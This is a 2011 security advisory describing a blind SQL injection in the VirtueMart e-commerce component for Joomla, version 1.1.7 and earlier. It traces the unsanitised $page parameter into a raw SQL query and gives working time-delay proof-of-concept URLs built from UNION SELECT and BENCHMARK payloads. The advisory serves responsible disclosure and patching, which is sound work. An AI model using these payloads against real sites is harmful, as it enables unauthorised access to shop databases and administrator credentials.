Apr 8, 2011
- Title: VirtueMart Blind SQL Injection (SS-2011-003)
- Version: 1.0
- Issue type: SQL injection
- Affected vendor: VirtueMart
- Release date: 08/04/2011
- Discovered by: Steven Seeley & Rocco Calvi
Summary
With its fully-featured eCommerce engine, VirtueMart is perfect to sell your Goods online and drive your Business to new Heights. Despite being Open Source Software it powers large Online Shops providing the Performance, Usability and Security you expect from professional Software.
stratsec researchers Steven Seeley and Rocco Calvi have identified a Blind SQL Injection vulnerability in the VirtueMart component software. This issue was confirmed to be present in release version 1.1.7 stable. The issue permits access to the backend database and may allow complete comprise of the underlying operating system.
Description
In Lines 189-210 of the ‘com_virtuemart/virtuemart_parser.php’ page the code conducts a permission check on a page when the variable ‘option’ is parsed as ‘com_virtuemart’. The ‘$page’ variable is set to global during the initialisation of the ‘virtuemart_parser.php’ page. Once the ‘$page’ variable is set to a value, then 'checkModulePermissions()’ is called. Below is the code that executes this functionality:
if( $option == "com_virtuemart" ) {
if (empty($page)) {// default page
if (defined('_VM_IS_BACKEND')) {
$page = "store.index";
{
else {
$page = HOMEPAGE;
}
}
// Let's check if the user is allowed to view the page
// if not, $page is set to ERROR_PAGE
$pagePermissionsOK = $ps_module->checkModulePermissions( $page );
Lines 325 - 338 of the ‘com_virtuemart/classes/ps_module.php’ page contain the function ‘checkModulePermissions()’ taking input as the ‘$calledPage’ and again globalizes the ‘$page’ variable. The ‘$my_page’ array is set with module and page names. Later the ‘$modulename’ variable explicitly set with ‘$my_page[0]’. Then finally, there is a call to ‘get_dir()’ parsing the ‘$modulename’ variable whilst still unfiltered at this point. Below is the code that executes this functionality:
function checkModulePermissions( $calledPage ) {
global $page, $VM_LANG, $error_type, $vmLogger, $perm;
// "shop.browse" => module: shop, page: browse
$my_page= explode ( '.', $page );
if( empty( $my_page[1] )) {
return false;
}
$modulename = $my_page[0];
$pagename = $my_page[1];
$dir_list = $this->get_dir($modulename);
Finally, lines 255-270 of the ‘com_virtuemart/classes/ps_module.php’ page contain the ‘get_dir()’ function which parses the ‘$modulename’ variable as ‘$basename’ and performs an SQL query directly on the variable without any sanitisation. There is no MySQL error printed if the query cannot be executed and as such makes for a difficult discovery. Below contains the vulnerable function implementing the SQL statement:
function get_dir($basename) {
$datab = new ps_DB;
$results = array();
$q = "SELECT module_perms FROM #__{vm}_module where module_name='".$basename."'";
$datab->query($q);
if ($datab->next_record()) {
$results[ 'perms' ] = $datab->f("module_perms");
return $results;
}
else {
return false;
}
}
Impact
This issue allows an un-authenticated attacker to enumerate administrative credentials from the applications backend database. This issue can result in the complete
compromise of the underlying web server.
Affected products
The vulnerability is reported in versions 1.1.7 and prior.
Exploitation
Due to the nature of the vulnerability, an attacker can use a time delay technique to differentiate between a true and a false response. Additionally, Joomla’s core codebase filters requests containing comparison operators ‘<’ or ‘>’ and as such allows the attacker to still exploit the vulnerability through the use of the ‘=’ operator. The following Proof of Concept (PoC) is provided:
- If the version is MySQL 4, it will time delay for a period of 30 seconds:
http://[target]/[path]/index.php?option=com_virtuemart&page=-
1'+union+select+if(substring(@@version,1,1)=4,benchmark(30000000,MD5('x')),nul
l)--+fakemodule.fakepag
- Likewise, if the version is MySQL 5, it will time delay for a period of 30 seconds
http://[target]/[path]/index.php?option=com_virtuemart&page=-
1'+union+select+if(substring(@@version,1,1)=5,benchmark(30000000,MD5('x')),nul
l)--+fakemodule.fakepag
A detailed PoC exploit has been developed to extract the jos_users administrative
username and password from the database backend.
http://[target]/[path]/index.php?option=com_virtuemart&page=-
1'+union+select+if(substring(@@version,1,1)=4,benchmark(30000000,MD5('x')),nul
l)--+fakemodule.fakepage
http://[target]/[path]/index.php?option=com_virtuemart&page=-
1'+union+select+if(substring(@@version,1,1)=5,benchmark(30000000,MD5('x')),nul
l)--+fakemodule.fakepage
Solution
Update to the latest version of VirtueMart and apply the patch provided by VirtueMart. The patch is available from: http://dev.virtuemart.net/attachments/202/PatchVirtueMart-1.1.7a.zip
Response timeline
- 14/02/2011 - Initial advisory sent.
- 14/02/2011 - Response from vendor.
- 15/02/2011 - Patch date requested.
- 16/02/2011 - Patch created and sent to stratsec.
- 18/02/2011 - Patched tested to be working.
- 08/04/2011 - This advisory published.
References
- http://virtuemart.net/security-bulletins/396-vm-security-bulletin-2011-02-18
Download advisory: SS-2011-003 stratsec VirtueMart SQL Injection Advisory v1.0.pdf